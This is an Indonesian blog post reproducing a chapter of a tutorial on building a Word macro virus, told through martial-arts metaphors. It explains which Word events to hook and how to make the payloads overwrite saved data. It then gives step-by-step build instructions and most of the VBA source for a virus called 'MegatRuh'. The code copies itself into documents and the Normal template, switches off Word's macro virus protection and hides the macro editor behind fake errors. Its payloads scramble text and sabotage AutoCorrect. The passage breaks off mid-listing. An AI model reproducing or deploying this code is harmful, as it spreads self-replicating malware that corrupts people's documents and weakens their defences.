Rabu, 03 November 2010

BDVM - BAB 9 Selamat datang di neraka !!!


BAB 9
Selamat datang di neraka !!!




Di bagian ini kita sebagai pendekar akan turun gunung.   Mencoba untuk menguji keampuhan dan penguasaan jurus-jurus yang telah dipelajari.  Dengan demikian kita akan tahu, jurus mana yang tepat dipakai untuk menghadapi suatu kondisi tertentu.   Terkadang jurus Rembulan Menangis (misalnya) lebih cocok dipakai untuk situasi sore hari, dibandingkan dengan jurus Memanah Matahari.  Dengan jurus yang tepat untuk situasi yang tepat, akan menghasilkan suatu hasil yang memuaskan.


Kita tidak perlu membunuh seekor semut dengan sebuah bom nulkir, bukan? He… he… :)   Buang-buang energi dan sungguh tak berperasaan.  Oleh karena itu rajin-rajinlah menganalisa jurus-jurus yang telah dipelajari, sehingga pas pemakaiannya.
Kita telah menyiapkan begitu banyak sub prosedur (routine) manipulasi untuk virus tercinta kita.  Kini saatnya kita menggabungkannya dalam aksi virus.  Tentu saja jenis manipulasi, berapa banyak dan waktu pemakaian sub prosedur ini terserah kepada kebijaksanaan Anda.  Yang perlu dicermati adalah “jalur yang memungkinkan” untuk melaksanakannya.  Kita dapat mengacu kemungkinan ini dari pembahasan pemicu virus sebelumnya.  Kita lihat implementasinya sebagai berikut.


1. Saat file disimpan

Ini saat yang cukup tepat untuk mengaktifkan aksi virus.  Lalu sub prosedur apa saja yang harus diaktifkan? Itu sulit untuk dijawab.  Terserah sampeyan !  Disini akan diperlihatkan beberapa contoh aksi.  Tapi sebelumnya kita ulang pembahasan sub prosedur FileSave yang telah kita bahas sebelumnya.


Sub FileSave()
    On Error Resume Next
    If ActiveDocument.Saved = False Then
        InfeksiDokumen
        InfeksiTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Pada kondisi “standar” tersebut, saat file disimpan dokumen dan template hanya akan diinfeksi saja, tanpa terjadi manipulasi yang lain.  Sekarang kita akan sisipi dengan rutin-rutin maut kita.

Pada contoh ini, kita menyisipkan dua jurus yang kita punyai, yaitu TSN dan RM.  Pada listing “standar penyimpanan virus”,  perhatikan letak penyisipan tersebut.
Contoh 1:

Sub FileSave()
    On Error Resume Next
    If ActiveDocument.Saved = False Then
        InfeksiDokumen
        InfeksiTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True

    TSN        ‘ panggil sub prosedur Tarian Siluman Nakal
    RM        ‘panggil sub prosedur Rembulan Menangis

    End If
End Sub

Manipulasi ini akan menyebabkan dokumen diacak dengan sub prosedur TSN, dan diruwetkan dengan sub prosedur RM.  Tapi tidak berbahaya! Selama kita tidak melakukan penyimpanan data.  Jadi pada saat disimpan, file akan disimpan dan diinfeksi virus.  Setelah proses penyimpanan selesai barulah manipulasi dijalankan.  Jadi data yang asli tidak rusak, hanya tampilan di layar saja yang menjadi berantakan.  Untuk dapat bekerja kembali dengan memakai data yang terlihat benar,  mau tidak mau harus menutup file tanpa melakukan penyimpanan.  Bagi pemakai yang terbiasa “histeris” dalam menyimpan file  (= mengadakan penyimpanan biarpun tidak melakukan pengubahan pada file), biarlah merasakan nasibnya. He.. he.. he… :).


Contoh 2 :

Pada contoh kedua ini, secara prinsip sama dengan contoh di atas.  Hanya saja kita pindahkan letak “jurus pukulan” virus di atas perintah penyimpanan.  Meski terlihat sederhana karena sekedar memindah perintah, namun efek yang terjadi sulit untuk dimaafkan. He.. he.. he…:)
Mengapa? Data-data yang sudah diobrak-abrik akan disimpan dan menindih data yang asli.  Perhatikan penyisipan rutin manipulasi pada listing di bawah ini :

Sub FileSave()
    On Error Resume Next
    If ActiveDocument.Saved = False Then
        InfeksiDokumen
        InfeksiTemplate

    TSN        ‘ panggil sub prosedur Tarian Siluman Nakal
    RM        ‘panggil sub prosedur Rembulan Menangis

        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Itu baru dua contoh manipulasi yang diterapkan. Kita bisa menambahkannya sesuka hati, sebanyak rutin manipulasi yang telah kita siapkan.


2. Saat file dibuka  

Pada waktu suatu file dibuka, kita dapat mengaktifkan rutin manipulasi virus, karena frekuensi untuk membuka file ini akan sering dilakukan oleh pemakai Word.  Jika kita membuat suatu file, untuk melihatnya lagi, tentu harus dibuka bukan?  Nah! Saat file atau dokumen dibuka aksi virus dapat dijalankan.  Letak perintah manipulasi virus tersebut dapat kita cermati pada listing berikut.

Contoh 1:

Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        InfeksiDokumen
        ActiveDocument.Save

    TTB        ‘rutin manipulasi acak data – jurus Tarian Tiga Bidadari
    Tantangan    ‘rutin manipulasi pesan sponsor  - jurus tantangan
    HSL        ‘rutin manipulasi  AutoCorrect  - jurus Halimun Serbu Lembah

    End If
    WordBasic.DisableAutoMacros False
End Sub

Pada contoh di atas dapat dilihat dokumen yang dibuka diinfeksi terlebih dahulu, kemudian disimpan.  Sesudah disimpan baru aksi virus dijalankan.  Pada contoh kita ini memakai 3 rutin manipulasi.  Jumlah rutin ini terserah Anda.  Yang jelas letaknya berada di bawah perintah ActiveDocument.Save.
Dengan cara ini, isi dokumen asli tidak kita ganggu.  Kita dapat mengubah lokasi perintah pengaktifan, sehingga virus menjadi destruktif.  Caranya?  Pindah baris-baris perintah pengaktifan manipulasi di atas perintah penyimpanan.  Listingnya dapat dilihat pada contoh 2.


Contoh 2 :


Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        InfeksiDokumen

    TTB        ‘rutin manipulasi acak data – jurus Tarian Tiga Bidadari
    Tantangan    ‘rutin manipulasi pesan sponsor  - jurus tantangan
    HSL        ‘rutin manipulasi  AutoCorrect  - jurus Halimun Serbu Lembah


        ActiveDocument.Save
    End If
    WordBasic.DisableAutoMacros False
End Sub



3. Saat file Word diaktifkan dengan explorer

Saat suatu file dipanggil dari luar program Word, misalnya dengan windows explorer, juga merupakan waktu yang efektif untuk penampilan rutin manipulasi.  Sebagian besar pemakai Windows, sering memanggil suatu dokumen langsung dari Windows explorer.  Listingnya adalah sebagai berikut:

Sub AutoOpen()
    Bobol
    InfeksiTemplate
    On Error Resume Next
    NormalTemplate.Save

    BB        ‘panggil jurus Bintang Berguguran
    TPD        ‘panggil  jurus Tarian Pena Dewa

End Sub

Pada saat ini dapat kita pergunakan rutin-rutin lain yang berhubungan dengan registry bila memang diinginkan.  Misalnya menyikat habis pilihan pada menu Start.  Semua terserah Anda.


4. Saat file ditutup

Pada kondisi file ditutup, dapat kita manfaatkan untuk menjalankan aksi.  Beri saja rutin yang ringan-ringan… he… he… :)


Sub AutoClose()
    InfeksiDokumen

    MR        ‘panggil rutin penghilang kemampuan shutdown – jurus Menikam Rembulan
    MM        ‘ panggil rutin penghilang fasilitas Find – jurus Memanah Matahari
    Pesan        ‘pesan sponsor dan manipulasi
End Sub



5.  Saat keluar dari Word

Titik yang bagus untuk nampang, adalah saat akan keluar dari program Word.  Kita bisa memasangkan apa saja yang kita inginkan. Berikut ini adalah salah satu contohnya.


Sub AutoExit()

    MI        ‘panggil rutin penghilang kemampuan shutdown – jurus Mencabut Ilalang
    MM        ‘ panggil rutin penghilang fasilitas Find – jurus Memanah Matahari
    HSL        ‘panggil rutin AutoCorrect  - jurus Halimun Serbu Lembah
    GP        ‘panggil rutin animasi – jurus Gerhana Putih

Application.quit
End Sub

Pada contoh model virus nanti, dari ke 5 jalan masuk tersebut kita hanya akan mengaktifkan aksi virus pada saat keluar dari program Word dan saat suatu file ditutup.  Biar tidak begitu kejam…. He….. he….he… :)
Tentu saja, Anda dapat mengubahnya sesuai dengan kebutuhan Anda. 
Pada model virus kita nanti akan mempergunakan filter atau kriteria tertentu untuk mengaktifkan aksi virus.  Akan kita lakukan dengan bantuan perintah IF …. ELSEIF … ENDIF.  Kita akan menampilkan aksi virus selama 7 hari (alias satu minggu) dengan aksi yang bervariasi untuk setiap harinya.   Selain itu untuk setiap harinya akan dibagi menjadi tiga periode waktu dengan tiga aksi yang berbeda.  Kejam, ya? … He… He….:)  Anggap saja sub prosedur ini kita beri nama PESAN.  Listing selengkapnya adalah sebagai berikut. 



Sub pesan()

    If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then
MR       
X=msgbox(“Jurus : Menikam Rembulan !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("17:00:00") Then
    MM
X=msgbox(“Jurus : Memanah Matahari !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("23:00:00") Then
    PP
X=msgbox(“Jurus : Pukulan Pelangi !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If

    If WeekDay(Date) = vbMonday And Time < TimeValue("4:00:00") Then
    MK
X=msgbox(“Jurus : Mengurai Kabut !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbMonday And Time < TimeValue("17:00:00") Then
    MI
X=msgbox(“Jurus : Mencabut Ilalang !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbMonday And Time < TimeValue("23:00:00") Then
    MJ   
X=msgbox(“Jurus : Melibas Jantung !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If
 
    If WeekDay(Date) = vbWednesday And Time < TimeValue("4:00:00") Then
    HSL
X=msgbox(“Jurus : Halimun Serbu Lembah !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbWednesday And Time < TimeValue("17:00:00") Then
    MN
X=msgbox(“Jurus : Mengoncang Nadi !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbWednesday And Time < TimeValue("23:00:00") Then
    LK
X=msgbox(“Jurus :Ledakan Kosmos !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If
   
    If WeekDay(Date) = vbTuesday And Time < TimeValue("4:00:00") Then
    HT
X=msgbox(“Jurus : Halimun Tunggal !”,VbOkOnly,”MegatRuh – Cyber Sufi”)

    ElseIf WeekDay(Date) = vbTuesday And Time < TimeValue("17:00:00") Then
        TPD
X=msgbox(“Jurus : Tarian Pena Dewa !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbTuesday And Time < TimeValue("23:00:00") Then
    TSN
X=msgbox(“Jurus :Tarian Siluman Nakal !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If
   
    If WeekDay(Date) = vbThursday And Time < TimeValue("4:00:00") Then
    TDS
X=msgbox(“Jurus :Tarian Dua Siluman !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbThursday And Time < TimeValue("17:00:00") Then
    KB
X=msgbox(“Jurus :Kedipan Bintang !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbThursday And Time < TimeValue("23:00:00") Then
    BB
X=msgbox(“Jurus : Bintang Berguguran !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If
   
    If WeekDay(Date) = vbFriday And Time < TimeValue("4:00:00") Then
    RM
X=msgbox(“Jurus :Rembulan Menangis !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbFriday And Time < TimeValue("17:00:00") Then
    BM
X=msgbox(“Jurus :Bintang Merah !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbFriday And Time < TimeValue("23:00:00") Then
    LR
X=msgbox(“Jurus :Lolongan Rembulan !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If
   
    If WeekDay(Date) = vbSaturday And Time < TimeValue("4:00:00") Then
    GP
X=msgbox(“Jurus :Gerhana Putih !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbSaturday And Time < TimeValue("17:00:00") Then
    KN
X=msgbox(“Jurus :Kibasan Naga !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    ElseIf WeekDay(Date) = vbSaturday And Time < TimeValue("23:00:00") Then
    LK
X=msgbox(“Jurus :Ledakan Kosmos !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
    End If

    TP         ‘ tantangan pembuka
    PS         ‘ prasasti siluman
    JP        ‘ jejak pendekar

On Error Resume Next
ActiveDocument.Save

End Sub



Dari listing di atas saya tidak akan membahas semua baris yang ada, karena secara prinsip sama saja.  Kita ambil sedikit saja, ya…

•    Sub pesan()
Kita buat suatu sub prosedur baru yang bernama PESAN.  Sub prosedur ini berguna untuk menyaring pengaktifan aksi virus untuk setiap harinya selama satu minggu.

•    If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then
Kriteria ini berarti jika hari sama dengan minggu dan di bawah jam 4 pagi, maka lakukanlah aksi …..   Kriteria ini ditujukan pada maniak komputer (seperti saya dan Anda ..:)).  Maklum bekerja dengan komputer sampai tidak ingat waktu.  He.. he… :) dari jam 11 malam sampai jam 4 pagi…  ya ampun!  Benar-benar full semangat dan tak termaafkan! 

•    MR       
Jurus Menikam Rembulan! Masih ingat jurus ini bukan.  Jurus ini dipakai untuk mengaktikan manipulasi registry Windows untuk menghilangkan fasilitas RUN pada menu START.

•    X=msgbox(“Jurus : Menikam Rembulan !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
Agar tidak kelihatan sebagai seorang “pengecut”, kita tampilkan pesan pada pemakai, bahwa ia telah terkena pukulan.  Kebetulan jurus yang kita pakai adalah Menikam Rembulan.   Jantan atau konyol ya…?

•    ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("17:00:00") Then
Jika kriteria pertama (di atas) tidak sesuai, maka kriteria ini akan diperiksa oleh virus.   Jika hari sama dengan minggu dan berada di bawah jam 5 sore, maka lakukan aksi berikut.  Ini sama halnya kita membatasi waktu dari jam 4 pagi sampai jam 5 sore  untuk kriteria kedua ini. 
Kriteria ini ditujukan pada pemakai yang biasa-biasa saja.  Maklum bekerja dengan komputer pada saat yang dapat dianggap normal.  He.. he… :)

•    MM
Jurus Memanah Matahari, kita aktifkan untuk manipulasi kriteria kedua ini.  Manipulasi ini juga manipulasi registry Windows yang akan menghilangkan pilihan FIND dari menu START.

•    X=msgbox(“Jurus : Memanah Matahari !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
Ingat! Ingat! Kita tampilkan pesan agar pemakai tahu bahwa komputernya terkena virus.  Berilah ia kesempatan untuk berpikir dan merenungkan apa yang sedang terjadi. Oke ? … 

•    ElseIf WeekDay(Date) = vbSunday And Time < TimeValue("23:00:00") Then
Kriteria ketiga ini adalah jika hari minggu dan waktunya di bawah jam 11 malam.  Jadi range waktu pengaktifannya adalah diantara jam 5 sore sampai jam 11 malam.  Jika diatas jam 11 malam, maka akan masuk ke kriteria pertama.  Kriteria ini dipakai untuk pemakai komputer yang cukup bersemangat untuk kerja lembur dengan komputer.   Tentu saja manipulasi yang kita “hadiahkan” agak cukup berat bila dibandingkan dengan pemakai normal.  He… he… :).


•    PP
Jurus Pukulan Pelangi kita ambil sebagai jurus pemukul.  Lumayan agak parah !

•    X=msgbox(“Jurus : Pukulan Pelangi !”,VbOkOnly,”MegatRuh – Cyber Sufi”)
Kita tampilkan pesan “pemukulan” sehingga pemakai akan lebih waspada dalam menghadapi serangan kita.  Biar adil!

•    End If
Perintah ini merupakan pasangan dari perintah If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then.   Tidak ada yang istimewa untuk dibahas.

Untuk kriteria ke 6 hari lainnya listing programnya secara prinsip sama saja.  Hanya mengubah nama harinya saja dan jurus yang dipakai.  Perhatikan contoh berikut.  Yang diubah adalah yang dicetak tebal.

If WeekDay(Date) = vbSunday And Time < TimeValue("4:00:00") Then
MR

Diubah menjadi  :

If WeekDay(Date) = vbMonday And Time < TimeValue("4:00:00") Then
MK

Gampang bukan?  Saya yakin Anda dapat dengan mudah melakukannya.  Alasan….!!! Pada memang sedang malas untuk menulis dan memberi keterangan yang membosankan.  He… he… 
Bagian lain yang cukup penting untuk dibahas adalah baris setelah perintah End if paling akhir.  Yaitu :

…baris perintah ………………………………
…baris perintah ………………………………
…baris perintah ………………………………
    TP         ‘ tantangan pembuka
    PS         ‘ prasasti siluman
    JP        ‘ jejak pendekar

On Error Resume Next
ActiveDocument.Save

End Sub

Keterangan listing program tersebut adalah sebagai berikut :

•    TP
Baris perintah ini dipakai untuk mengaktifkan manipulasi  Tantangan Pembuka.

•    PS        
Perintah ini mengaktifkan manipulasi  Prasasti Siluman.

•    JP       
Perintah ini digunakan untuk mengaktifkan manipulasi  Jejak Pendekar.

•    On Error Resume Next
Perintah ini dipakai untuk berjaga-jaga jika terjadi suatu kesalahan yang tidak diinginkan terjadi.  Sehingga lebih menjamin keberadaan dan hidup virus kita.

•    ActiveDocument.Save
Perintah ini digunakan untuk menyimpan hasil manipulasi pada file yang aktif.

•    End Sub
Perintah ini merupakan pasangan dari perintah SUB pesan.  Sekedar melengkapi perintah agar sub prosedur dapat berfungsi dengan benar.


Ya… ya…saya tahu … di antara Anda mungkin akan protes dengan cara memfilter kriteria yang saya lakukan.  Yaitu memakai perintah IF… ELSEIF…. ENDIF.   Sehingga pemrograman menjadi bertele-tele.  Bukankah sebaiknya memakai perintah SELET.. CASE….. ENDCASE, sehingga pemrograman menjadi lebih rapi, efisien dan efektif?  Memang! Dan kebetulan saya memang tidak melakukannya karena lebih gampang menjelaskannya dengan perintah IF.. ENDIF. He… he…    Selain itu, memang saya bukan seorang programmer yang baik kok.  Jika Anda mau, lakukan saja sendiri!  He…. he… :)



MegatRuh : Suatu Model virus

Akhirnya, sampailah kita pada pertempuran yang sesungguhnya.  Selamat datang di neraka!  Di bagian ini kita akan merangkumkan teori-teori dan jurus-jurus  yang sudah kita pelajari kedalam bentuk suatu program virus yang sesungguhnya.  Untuk itu kita harus mempersiapkan beberapa langkah sebagai berikut.

•    Memanggil Word dan membuat dokumen baru
•    Memanggil Visual Basic
•    Membuat modul baru
•    Membuat penanda virus
•    Mengaktifkan modul penanda virus dan mengetikkan listing program
•    Memanggil file yang sudah ada
•    Membuat file baru

Sekarang kita lihat urutan langkah-langkah tersebut secara lebih rinci, seperti diulas di bawah ini.

•    Memanggil Word dan membuat dokumen baru
Langkah pertama adalah mengaktifkan program Word.  Setelah itu buatlah sebuah file baru dengan sembarang nama.  Pada contoh ini anggap saja kita membuat dokumen baru dengan nama master.doc.  klik New dan tekan ctrl S.   kotak dialog Save As akan tampil.  Ketikkan master dan klik Save.  File baru ini siap dipakai sebagai media penampung virus.

•    Memanggil visual basic
Selanjutnya, panggillah Visual basic dengan menekan Alt F11.   Cara lain ialah dengan mengklik Tools, memilih Macro, dan memilih Visual Basic Editor.  Jika kita benar dalam melakukannya editor Visual Basic akan tampil.

•    Membuat modul baru
Kita buat suatu modul baru yang akan dipakai untuk menampung data-data pemrograman virus.  Klik project (master).  Yang ada pada jendela Project, sehingga ia aktif terpilih.  Klik kanan sehingga menu konteks tampil.  Pilih Insert lalu pilih module.  Dengan cara ini suatu modul baru akan dibentuk pada dokumen master.    Perhatikan jendela Project, suatu folder baru yang bernama Modules akan muncul.  Di dalam folder modules ini terdapat suatu modul yang bernama module1.  Disitulah kita akan mengetikkan program virus.

•    Membuat penanda virus
Oleh karena virus yang kita buat  memakai penanda virus dengan nama modul, maka kita harus mengubah nama module1 menjadi nama yang dijadikan sebagai penanda virus.  Nama penanda virus kita adalah MEGATRUH.  Oke, sekarang kita akan mengubahnya.  Keluar dari editor Visual Basic untuk sementara waktu.  Caranya dengan mengklik tanda minimize (tanda minus) yang ada pada pojok kanan jendela editor.  Jendela editor Word akan terlihat.  Klik Tools, dan pilih Template and Add-ins pada menu bar Word.  Kotak dialog Template and Add-ins akan muncul.   Klik tombol organizer, sehingga jendela organizer tampil.  Klik tab Macro Project Items.  Pada jendela bagian kiri (master) terlihat suatu nama modul yaitu module1.   kita ganti nama modul tersebut dengan mengklik nama tersebut.  Lalu klik tombol Rename, sehingga kotak Rename tampil.  Ketikkan MEGATRUH, lalu klik Ok.  Kemudian klik Close untuk selesai dan kembali ke editor Word.  

•    Mengaktifkan modul penanda virus dan mengetikkan listing program
Selanjutnya, aktifkan kembali editor Visual Basic.  Klik tab Visual basic yang tadi telah kita minimized-kan.  Pada saat editor Visual Basic aktif, perhatikan jendela Project.  Nama module1 telah berubah menjadi MEGATRUH.  Klik ganda nama modul MEGATRUH, sehingga ia aktif terpilih.   Kursor akan berpindah ke jendela sebelah kanan.  Nah!  Saatnya kita mengketikkan listing program yang sudah kita siapkan.  Listing model virus dapat kita lihat pada bagian di bawah ini yang berjudul : Listing model virus.

Anggap saja kita telah berhasil mengetikkannya. Simpanlah file Master.doc.  Virus siap untuk dijalankan.  Buatlah copy dari file master.doc dengan sembarang nama, misalnya cad-master.doc, ini untuk berjaga-jaga siapa tahu pada saat kita menjalankan file master.doc untuk menginfeksi file lain terjadi hal-hal yang tidak kita inginkan.   Misalnya terhapus, atau modul program virus kita mengalami kerusakan.  Oke?  Sedia payung sebelum hujan.



•    Listing Model Virus

Berikut ini adalah listing program virus yang harus diketikkan pada modul yang bernama MEGATRUH.  Ketikkan dengan teliti, hati-hati dan menjiwai. He… he…    juga, mungkin, siapkan kopi.   Siapa tahu terjadi salah ketik dan harus lembur untuk mencarinya atau melakukan ketik ulang. …


' MegatRuh - The cyber Sufi
' email : MegatRuh@asia.com
' © Copy not Right- 2001
' MegatRuh - To the next generation of mine
' the legend begins ……


'---------------------------------------- Penggandaan diri
Sub InfeksiDokumen()
    Dim DOk As Boolean
    DOk = False
    On Error Resume Next
    For Each obj In ActiveDocument.VBProject.VBComponents
        If obj.Name = "MEGATRUH" Then DOk = True
        If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
      
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next obj
    If DOk = False Then
            Application.OrganizerCopy Source:=NormalTemplate.FullName, _
            Destination:=ActiveDocument, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
                        End If
End Sub

Sub InfeksiTemplate()
    Dim TOk As Boolean
    TOk = False
    On Error Resume Next
    For Each obj In NormalTemplate.VBProject.VBComponents
        If obj.Name = "MEGATRUH" Then TOk = True
        If obj.Name <> "MEGATRUH" And obj.Name <> "ThisDocument" Then
       
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next obj
   
    If TOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="MEGATRUH", Object:=wdOrganizerObjectProjectItems
     End If
End Sub

'------------------------------------------- Benteng pertahanan
Sub Bobol()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bobol
End Sub

Sub ToolsMacro()
    H = MsgBox("File not found! Check setup… .", vbExclamation + vbOKOnly)
End Sub

Sub ViewVbCode()
H = MsgBox("A required DLL file is missing. .", vbExclamation + vbOKOnly)
   ToolsMacro
End Sub

Sub FileTemplates()
H = MsgBox("path not found! Check setup… .", vbExclamation + vbOKOnly)
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "MegatRuh - The Hacker War") = "why me?" Then Application.ShowVisualBasicEditor = True
End Sub


'---------------------------------------------------------------- pemicu virus

Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        InfeksiDokumen
        ActiveDocument.Save
    End If
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoExit()
    pesan
    Application.Quit
End Sub

Sub AutoOpen()
    Bobol
    InfeksiTemplate
    On Error Resume Next
    NormalTemplate.Save
End Sub

Sub AutoClose()
    InfeksiDokumen
    pesan
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    On Error Resume Next
    If ActiveDocument.Saved = False Then
        InfeksiDokumen
        InfeksiTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub Pewaktu()
    Cek = Documents.Count
    If Cek <> 0 Then
        Normal.MEGATRUH.InfeksiDokumen
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:15"), "Normal.MEGATRUH.Pewaktu"
    End If
End Sub


Sub AutoExec()
    WordBasic.DisableAutoMacros True
    Bobol
    Application.OnTime Now + TimeValue("00:00:15"), "Normal.MEGATRUH.Pewaktu"
End Sub

'-------------------------------------manipulasi teks---------------------------------
' Jurus : Tarian Pena Dewa (TPD)
Sub TPD()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "z"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub

'Jurus : Tarian Tiga Bidadari
Sub TTB()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "z"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With

With ActiveDocument.Content.Find
.Text = "u"
With .Replacement
.Text = "x"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With

With ActiveDocument.Content.Find
.Text = "e"
With .Replacement
.Text = "y"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub

'Jurus: Tarian Siluman Nakal
Sub TSN()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "apa iya?"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub

'Jurus: Tarian Dua Siluman
Sub TDS()
With ActiveDocument.Content.Find
.Text = "a"
With .Replacement
.Text = "apa iya?"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With

With ActiveDocument.Content.Find
.Text = "u"
With .Replacement
.Text = "untuk iseng!"
End With
.Execute Format:=True, Replace:=wdReplaceAll
End With
End Sub

'Jurus : Halimun Tunggal
Sub HT()
AutoCorrect.Entries.Add Name:="kami", Value:="MegatRuh"
End Sub

' Jurus : Halimun serbu lembah
Sub HSL()
AutoCorrect.Entries.Add Name:="dan", Value:="tetapi"
AutoCorrect.Entries.Add Name:="saya", Value:="Dora Emon"
AutoCorrect.Entries.Add Name:="yang", Value:="atau"
AutoCorrect.Entries.Add Name:="untuk", Value:="misal"
AutoCorrect.Entries.Add Name:="anda", Value:="Pokemon"
End Sub

Sub ToolsAutoManager()
On Error Resume Next
AutoCorrect.Entries("saya").Delete
AutoCorrect.Entries("anda").Delete
Dialogs(wdDialogsToolsAutoManager).Show
AutoCorrect.Entries.Add Name:="saya", Value:="Pokemon"
AutoCorrect.Entries.Add Name:="anda", Value:="Dora Emon"
End Sub

'Jurus : Kedipan Bintang
Sub KB()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationLasVegasLights
Selection.HomeKey unit:=wdStory
End Sub

'Jurus : Bintang Berguguran
Sub BB()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationMarchingBlackAnts
Selection.HomeKey unit:=wdStory
End Sub

'Jurus : Bintang Merah
Sub BM()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationMarchingRedAnts
Selection.HomeKey unit:=wdStory
End Sub

'Jurus : Lolongan Rembulan
Sub LR()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationShimmer
Selection.HomeKey unit:=wdStory
End Sub

'Jurus : Rembulan Menangis
Sub RM()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationSparkleText
Selection.HomeKey unit:=wdStory
End Sub

'Jurus : Gerhana Putih
Sub GP()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
Selection.Font.Animation = wdAnimationBlinkingBackground
Selection.HomeKey unit:=wdStory
End Sub

'Jurus : Kibasan Naga
Sub KN()
Selection.HomeKey unit:=wdStory
Selection.EndKey unit:=wdStory, Extend:=wdExtend
With Selection.Font
.Name = "Times New Roman"
.Size = 10
.Bold = True
.Italic = True
.StrikeThrough = True
.DoubleStrikeThrough = True
.Outline = True
.Emboss = False
.Shadow = False
.Hidden = False
.SmallCaps = False
.AllCaps = False
.Engrave = False
.Superscript = False
.Subscript = False
.Animation = wdAnimationBlinkingBackground
End With
Selection.HomeKey unit:=wdStory
End Sub

'--------------------------------------------------------------- manipulasi pesan sponsor

Sub HelpAbout()
x = MsgBox("Tidak ada sakit karena luka," & Chr(13) & "bila hal itu  menyenangkanmu!", vbOKOnly + vbExclamation, "MegatRuh - Cyber Sufi")
 End Sub

Sub pesanku()
x = MsgBox("MegatRuh - Cyber Sufi : Hope Beyond Hope …", vbOKOnly, "MegatRuh")
End Sub

'Jurus : Jejak Pendekar (JP)
Sub JP()
Application.UserName = "MegatRuh - Cyber Sufi"
Application.UserInitials = "MR2001"
Application.UserAddress = "MegatRuh@asia.com"
End Sub

'Jurus :Prasasti Siluman (PS)
Sub PS()
System.PrivateProfileString("", "Hkey_current_user\software\microsoft\msetup(Acme)\userinfo", "DefCompany") = "MegatRuh - Cyber Sufi"
